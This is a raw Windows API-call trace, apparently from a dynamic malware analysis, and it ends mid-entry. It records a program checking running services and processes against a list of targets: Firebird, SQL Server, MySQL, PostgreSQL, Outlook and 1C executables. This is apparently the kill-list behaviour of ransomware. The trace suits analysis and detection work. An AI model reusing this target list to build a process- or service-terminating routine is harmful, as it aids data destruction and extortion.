lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0152.187] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0152.187] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0152.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0152.187] lstrlenW (lpString="DcomLaunch") returned 10 [0152.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0152.187] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0152.187] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0152.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0152.187] lstrlenW (lpString="Dhcp") returned 4 [0152.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0152.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0152.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0152.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0152.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0152.188] lstrlenW (lpString="Dnscache") returned 8 [0152.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0152.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0152.188] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0152.188] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0152.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0152.188] lstrlenW (lpString="DPS") returned 3 [0152.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0152.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0152.188] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0152.188] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0152.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0152.188] lstrlenW (lpString="eventlog") returned 8 [0152.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0152.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0152.188] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0152.188] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0152.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0152.189] lstrlenW (lpString="EventSystem") returned 11 [0152.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0152.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0152.189] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0152.189] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0152.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0152.189] lstrlenW (lpString="gpsvc") returned 5 [0152.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0152.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0152.189] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0152.189] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0152.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0152.189] lstrlenW (lpString="iphlpsvc") returned 8 [0152.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0152.189] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0152.189] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0152.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0152.189] lstrlenW (lpString="LanmanServer") returned 12 [0152.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0152.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0152.189] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0152.189] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0152.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0152.190] lstrlenW (lpString="LanmanWorkstation") returned 17 [0152.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0152.190] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0152.190] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0152.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0152.190] lstrlenW (lpString="lmhosts") returned 7 [0152.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0152.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0152.190] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0152.190] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0152.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0152.190] lstrlenW (lpString="MMCSS") returned 5 [0152.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0152.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0152.190] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0152.190] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0152.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0152.190] lstrlenW (lpString="MpsSvc") returned 6 [0152.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0152.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0152.190] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0152.190] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0152.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0152.191] lstrlenW (lpString="Netman") returned 6 [0152.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0152.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0152.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0152.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0152.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0152.191] lstrlenW (lpString="netprofm") returned 8 [0152.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0152.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0152.191] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0152.191] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0152.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0152.191] lstrlenW (lpString="NlaSvc") returned 6 [0152.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0152.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0152.191] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0152.191] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0152.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0152.191] lstrlenW (lpString="nsi") returned 3 [0152.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0152.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0152.191] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0152.192] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0152.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0152.192] lstrlenW (lpString="PcaSvc") returned 6 [0152.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0152.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0152.192] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0152.192] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0152.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0152.192] lstrlenW (lpString="PlugPlay") returned 8 [0152.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0152.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0152.192] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0152.192] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0152.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0152.192] lstrlenW (lpString="Power") returned 5 [0152.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0152.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0152.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0152.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0152.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0152.193] lstrlenW (lpString="ProfSvc") returned 7 [0152.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0152.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0152.193] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0152.193] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0152.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0152.193] lstrlenW (lpString="RpcEptMapper") returned 12 [0152.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0152.193] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0152.193] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0152.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0152.193] lstrlenW (lpString="RpcSs") returned 5 [0152.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0152.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0152.194] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0152.194] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0152.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0152.194] lstrlenW (lpString="SamSs") returned 5 [0152.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0152.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0152.194] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0152.194] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0152.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0152.194] lstrlenW (lpString="Schedule") returned 8 [0152.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0152.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0152.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0152.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0152.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0152.194] lstrlenW (lpString="SENS") returned 4 [0152.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0152.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0152.194] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0152.194] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0152.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0152.194] lstrlenW (lpString="ShellHWDetection") returned 16 [0152.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0152.195] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0152.195] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0152.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0152.195] lstrlenW (lpString="Spooler") returned 7 [0152.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0152.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0152.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0152.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0152.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0152.195] lstrlenW (lpString="SysMain") returned 7 [0152.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0152.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0152.195] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0152.195] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0152.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0152.195] lstrlenW (lpString="Themes") returned 6 [0152.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0152.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0152.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0152.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0152.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0152.196] lstrlenW (lpString="TrkWks") returned 6 [0152.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0152.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0152.196] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0152.196] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0152.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0152.196] lstrlenW (lpString="UxSms") returned 5 [0152.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0152.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0152.196] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0152.196] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0152.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0152.196] lstrlenW (lpString="WdiServiceHost") returned 14 [0152.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0152.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0152.196] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0152.196] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0152.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0152.196] lstrlenW (lpString="WdiSystemHost") returned 13 [0152.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0152.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0152.196] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0152.196] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0152.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0152.197] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0152.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0152.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0152.197] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0152.197] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0152.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0152.197] lstrlenW (lpString="Winmgmt") returned 7 [0152.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0152.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0152.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0152.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0152.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0152.197] lstrlenW (lpString="WPDBusEnum") returned 10 [0152.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0152.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0152.197] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0152.197] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0152.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0152.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0152.197] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0152.200] Process32FirstW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.200] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0152.201] lstrlenW (lpString="System") returned 6 [0152.201] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0152.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0152.201] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0152.201] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0152.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0152.201] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0152.201] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0152.201] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0152.201] lstrlenW (lpString="smss.exe") returned 8 [0152.201] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0152.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0152.201] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0152.201] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0152.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0152.202] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0152.202] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0152.202] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.202] lstrlenW (lpString="csrss.exe") returned 9 [0152.202] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.202] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.202] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.202] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.202] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.202] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.202] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0152.202] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0152.203] lstrlenW (lpString="wininit.exe") returned 11 [0152.203] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0152.203] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0152.203] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0152.203] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0152.203] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0152.203] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0152.203] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0152.203] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0152.203] lstrlenW (lpString="csrss.exe") returned 9 [0152.203] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0152.204] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0152.204] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0152.204] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0152.204] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0152.204] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0152.204] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0152.204] lstrlenW (lpString="winlogon.exe") returned 12 [0152.204] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0152.205] lstrlenW (lpString="services.exe") returned 12 [0152.205] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0152.205] lstrlenW (lpString="lsass.exe") returned 9 [0152.205] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0152.206] lstrlenW (lpString="lsm.exe") returned 7 [0152.206] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.206] lstrlenW (lpString="svchost.exe") returned 11 [0152.206] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.207] lstrlenW (lpString="svchost.exe") returned 11 [0152.207] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.207] lstrlenW (lpString="svchost.exe") returned 11 [0152.207] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.208] lstrlenW (lpString="svchost.exe") returned 11 [0152.208] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0152.208] lstrlenW (lpString="svchost.exe") returned 11 [0152.208] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0152.209] lstrlenW (lpString="audiodg.exe") returned 11 [0152.209] Process32NextW (in: hSnapshot=0x384, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, 